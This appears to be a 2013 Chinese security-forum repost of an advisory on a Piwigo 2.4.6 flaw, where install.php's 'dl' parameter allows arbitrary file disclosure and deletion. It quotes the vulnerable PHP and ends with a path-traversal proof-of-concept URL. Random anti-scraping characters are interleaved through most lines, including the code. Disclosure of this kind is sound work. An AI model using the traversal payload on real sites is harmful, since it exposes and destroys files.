找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2396|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。  z1 C! e" |" q) X  P) _: A3 d9 ^  f
: u* y  g9 t% b' j
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。% X8 k# T6 ?  ?# d/ F, k
====================================================================' [8 K( [; l: {
/install.php:& S) G/ o# S4 O( j5 r
-------------7 l7 p( E& h. ?: O2 f+ ]) }4 A) x- Z
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))5 T0 p; [  d- U4 C$ f
114: {
* N2 \' K4 j7 |- H115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];, t  u/ t+ i  u* ]  B
116:   header('Cache-Control: no-cache, must-revalidate');5 R8 H8 E  ]/ t) r' ~1 D& S
117:   header('Pragma: no-cache');
- E# A( [- Z! I- \8 U1 a$ A118:   header('Content-Disposition: attachment; filename="database.inc.php"');6 |- S3 c5 g9 L5 n! x+ e- w* s
119:   header('Content-Transfer-Encoding: binary');
7 O3 l) n$ u1 E120:   header('Content-Length: '.filesize($filename));3 o- f( X" `" c3 `) n
121:   echo file_get_contents($filename);
9 E& U, _3 Z: _2 v7 q122:   unlink($filename);* e% A) b$ W6 s( ?$ r" Y: G* G# j
123:   exit();
/ a8 j4 x# O( m- ?) X' X7 R124: }
, I, s" E! ^8 q& A+ c# f9 w====================================================================
  |; n) Z. i& K9 B7 U4 t- C % W& G% ^& J% W6 z
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)7 g" @! W, x+ x* I4 H; B
           Apache 2.4.2 (Win32)/ I1 k, H. i1 Y; ^7 G* l8 f
           PHP 5.4.4
0 y2 F2 Z; A- L/ `& |           MySQL 5.5.25a6 R1 D9 D9 i/ P7 l+ o
7 `; t: D5 a0 y4 L5 \* Y
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
1 @* \; S/ f9 o2 K4 ^! f                            @zeroscience# a! S6 r/ C6 D  ]* j

# R! `7 L) q. L3 [0 _7 |Advisory ID: ZSL-2013-5127. S6 y6 B- L) I2 D+ K* b9 y
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php! U' Z, x( h1 n) c
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
  N9 f* G8 p' {* H& G; h
! Y' u  G& t" J) k6 e1 Q% \2 @8 x15.02.20134 K/ A, n7 T0 g+ T2 O
' Y, K8 O3 ~' |* @/ A5 r  r
--! U5 ?* S; @% C2 X8 q
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt( P1 k6 ^( D) G( f) L) l- ^
8 ?0 \# _3 g/ W" d4 \! R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表